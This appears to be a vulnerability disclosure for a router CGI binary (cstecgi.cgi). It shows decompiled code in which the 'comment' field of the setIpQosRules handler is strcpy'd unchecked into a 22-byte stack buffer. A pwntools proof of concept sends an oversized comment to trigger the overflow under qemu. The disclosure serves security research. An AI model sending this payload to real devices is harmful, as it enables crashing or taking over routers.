

```
🔓 Decompile: FUN_004192cc - (cstecgi_not_test.cgi)
     char *__cp_00;
     char *__nptr;
 7
 8
     char *__nptr_00;
     char * src;
     char acStack184 [22];
10
11
     undefined local_a2;
12
     undefined local 9b;
13
     in_addr iStack154;
14
     in_addr iStack150;
15
     int local_92;
16
     int local_8e;
17
     char local_8a;
18
19
     __cp = (char *)websGetVar(param_1,"ipStart","");
     __cp_00 = (char *)websGetVar(param_1,"ipEnd","");
20
     __nptr = (char *)websGetVar(param_1,"upBandwidth","");
21
22
      _nptr_00 = (char *)websGetVar(param_1,"dwBandwidth","");
23
     __src = (char *)websGetVar(param_1,"comment","");
24
     inet_aton(__cp,&iStack154);
25
     inet_aton(__cp_00,&iStack150);
26
     local_9b = 4;
27
     local_a2 = 1;
28
     local 8a = '\0';
29
     local_92 = atoi(__nptr);
30
     local_8e = atoi(__nptr_00);
31 strcpy(acStack184,__src);
32
     apmib_set(0x20139,acStack184);
33
     apmib_set(0x10138,acStack184);
34
     apmib_update_web(4);
35
     RunSysCmd(0,"lktos_reload","firewall","");
36
     setResponse("0","reserv");
37
     return 1;
38 }
```

POC

```
from pwn import *
import json

data = {
    "topicurl": "setting/setIpQosRules",
    "ipStart": "192.168.2.2",
    "ipEnd": "192.168.2.2",
    "upBandwidth": "2",
    "dwBandwidth": "1",
    "comment": "A"*0x200,
}
data = json.dumps(data)
print(data)

argv = [
```

```
"qemu-mips-static",
"-g", "1234",
"-L", "./lib",
"-E", "LD_PRELOAD=./hook.so",
"-E", "CONTENT_LENGTH={}".format(len(data)),
"-E", "REMOTE_ADDR=192.168.2.1",
"./cstecgi.cgi"
]

a = process(argv=argv)

a.sendline(data.encode())

a.interactive()
```